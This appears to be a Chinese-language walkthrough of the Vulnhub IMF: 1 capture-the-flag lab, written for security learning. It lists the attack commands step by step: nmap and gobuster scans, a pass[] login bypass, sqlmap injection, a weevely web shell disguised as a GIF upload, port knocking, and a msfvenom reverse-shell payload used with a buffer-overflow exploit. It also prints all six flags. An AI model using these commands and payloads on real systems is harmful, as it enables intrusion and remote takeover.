title: Vulnhub-IMF-1
categories:
Vulnhub IMF: 1
Name: IMF: 1
Date release: 30 Oct 2016
Author: Geckom
Series: IMF
Difficulty : medium
靶机下载地址:
https://www.vulnhub.com/entry/imf-1,162/
首先使用 nmap 进行端口扫描
nmap -p- -sV -sC -A 192.168.0.103 -oA nmap_IMF
扫描结果显示目标只开放了80端口
访问http://192.168.0.103
为 IMF,即不可能的任务情报署
使用 gobuster 进行目录扫描,成功发现多个文件和目录
gobuster dir -u http://192.168.0.103 -w /usr/share/wordlists/dirb/big.txt -x php
在contact.php
的源代码中发现第一个flag:
flag1{YWxsdGhlZmlsZXM=}
在js
目录中发现三串特殊名字的 JavaScript 文件
重组后经 base64 解码后发现第二个flag:
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
针对拿到的两个 flag 进行 base64 解码,成功拿到字符串为allthefiles
和imfadministrator
echo "YWxsdGhlZmlsZXM=" | base64 -d
访问http://192.168.0.103/imfadministrator
为管理员的登录界面
在网页中发现三个邮箱地址,分别为rmichaels@imf.local
、estone@imf.local
、akeith@imf.local
使用邮箱地址中的用户名进行登录,但是都提示无效的用户名
rmichaels
在 pass 参数中修改为pass[]
,成功拿到第三个flag:
flag3{Y29udGludWVUT2Ntcw==}
,经 base64 解码为continueTOcms
访问http://192.168.0.103/imfadministrator/cms.php?pagename=home
为管理界面
截取数据包对pagename
参数尝试注入
GET /imfadministrator/cms.php?pagename=* HTTP/1.1
使用 sqlmap 进行 SQL 注入获取数据,成功找到两个jpg文件
python3 sqlmap.py -r test1.txt --dump --level 5 --risk 3
分别访问两个图片http://192.168.0.103/imfadministrator/images/redacted.jpg
和http://192.168.0.103/imfadministrator/images/whiteboard.jpg
下载二维码插件:二维码生成器
点击右键对图片进行识别,成功拿到第四个flag:
flag4{dXBsb2Fkcjk0Mi5waHA=}
经 base64 解码后为uploadr942.php
访问http://192.168.0.103/imfadministrator/uploadr942.php
发现文件上传点
使用 weevely 生成PHP类型木马
weevely generate mac mac.php
制作图片马并添加 GIF 头文件,同时将后缀名修改为.gif
cp mac.php mac.gif# 添加头文件GIF89a31111
使用 BurpSuite 截取数据包上传图片马,返回1f99323f6a1c
为文件名
访问http://192.168.0.103/imfadministrator/uploads/1f99323f6a1c.gif
成功
使用 weevely 输入密码mac
成功连接,在其中找到第五个flag:
flag5{YWdlbnRzZXJ2aWNlcw==}
经 base64 解码为agentservices
weevely http://192.168.0.103/imfadministrator/uploads/1f99323f6a1c.gif mac
由于提示为代理服务,在服务器中搜索名称agent
,成功发现/usr/local/bin/agent
find / -name agent &> /dev/null
agent
执行后发现7788端口已开放
netstat -ntlp
在usr/local/bin
目录下还存在文件access_codes
,查看后发现端口:7482、8279、9467
端口碰撞
端口碰撞是一种通过在一组预先指定的关闭端口上产生连接请求,从外部打开防火墙上的端口的方法。一旦收到正确的连接请求序列,防火墙规则就会被动态修改,以允许发送连接请求的主机通过特定端口进行连接。
在本地下载 knock
git clone https://github.com/grongor/knock.git
使用 knock 依次访问7482、8279、9467端口,最终成功打开7788端口
./knock 192.168.0.103 7482 8279 9467nc 192.168.0.103 7788
在 weevely 中下载agent
至本地
:file_download /usr/local/bin/agent /root/vulnhub/imf/agent
分析发现agent
是 ELF 32位 的文件
file agent
使用 ltrace 跟踪agent
程序运行时所调用库函数的情况
chmod +x agentltrace ./agent
经测试输入任何值都会返回48093572,因此尝试在agent ID
中输入48093572,验证成功
使用 MSF 生成用于反弹shell的 shellcode
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.0.104 lport=5555 -f python -b "\x00\x0a\x0b"
buf = b""
把 shellcode 添加至 agent 利用代码中
利用代码地址:
https://github.com/jessekurrus/agentsploit
在本地通过 MSF 监听5555端口
msf6 > use exploit/multi/handler
执行利用代码
python agentsploit.py 192.168.0.103 7788
成功收到反弹shell,同时拿到第六个flag:
flag6{R2gwc3RQcm90MGMwbHM=}